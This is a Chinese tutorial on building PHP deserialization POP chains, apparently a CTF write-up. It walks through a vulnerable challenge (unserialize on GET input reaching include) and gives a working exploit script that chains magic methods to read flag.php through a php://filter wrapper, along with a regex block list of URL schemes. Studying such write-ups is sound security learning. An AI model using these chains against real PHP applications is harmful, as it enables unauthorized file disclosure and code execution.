文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

php反序列化pop链构造知识点有哪些

2023-06-30 12:10

关注

本篇内容主要讲解“php反序列化pop链构造知识点有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php反序列化pop链构造知识点有哪些”吧!

php反序列化pop链构造知识点有哪些

pop链构造

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

pop链简介

它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路

上题目代码:

Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."<br>";    }    public function __toString(){        return $this->str->source;    }    public function __wakeup(){        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}class Test{    public $p;    public function __construct(){        $this->p = array();    }    public function __get($key){        $function = $this->p;        return $function();    }}if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);}

构造思路

在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。审计这个题的代码,头是用get方式对pop传参,而尾部是include包含函数。到这里,我们应该都知道是要用php伪协议读取flag文件的源码。既然头和尾都找到了,也知道了攻击方法。那么接下来找到题目中的魔术方法。

__invoke()    当一个类被当作函数执行时调用此方法。__construct   在创建对象时调用此方法__toString()  在一个类被当作字符串处理时调用此方法__wakeup()    当反序列化恢复成对象时调用此方法__get()       当读取不可访问或不存在的属性的值会被调用

题中一共有这五种魔术方法。接着找出普通类与魔术方法之间的联系。

不难看出wakeup函数中有个preg_match函数,用于查找source中敏感的字符串,我们可以从这里开头,将source赋予一个show类,那么会自动触发toString函数,那么现在就要在tostring方法中延申链子,那么我们可以在totring方法中$this->str赋予test类,在test类读取source变量,(因为test类中没有source属性,则是访问了不可访问的属性)则会自动调用get魔术方法。可以发现get方法中有个函数调用,则我们可以将$this->p赋予Modifier类,会自动调用invoke方法,从而执行我们写入的php伪协议(将Modifer类中的var属性赋值为我们的恶意代码)

至此,我们构造pop链。

pop链讲解

<?phpclass Modifier {protected $var='php://filter/read=convert.base64-encode/resource=flag.php';}class Show{public $source;public $str;function _construct(){$this->source=$file;}}class Test{public $p;}$a = new show();$b = new show();$c = new test();$d = new Modifier();$a->source=$b;$b->str=$c;$c->p= $d;echo urlencode(serialize($a));?>

先把用到的类写出来,形成一个框架,再表明类中的变量。分别将用到的类进行实例化,这里为什么要new 两次show(看代码应该能看懂,第一次是实例化show类,第二次是将第一次实例化后的show类中的source=第二次实例化的show)

在我们进行序列化的时候尽量用url编码一下(在这个题中有protected修饰的属性,会有不可见字符)

到此,相信大家对“php反序列化pop链构造知识点有哪些”有了更深的了解,不妨来实际操作一番吧!这里是编程网网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯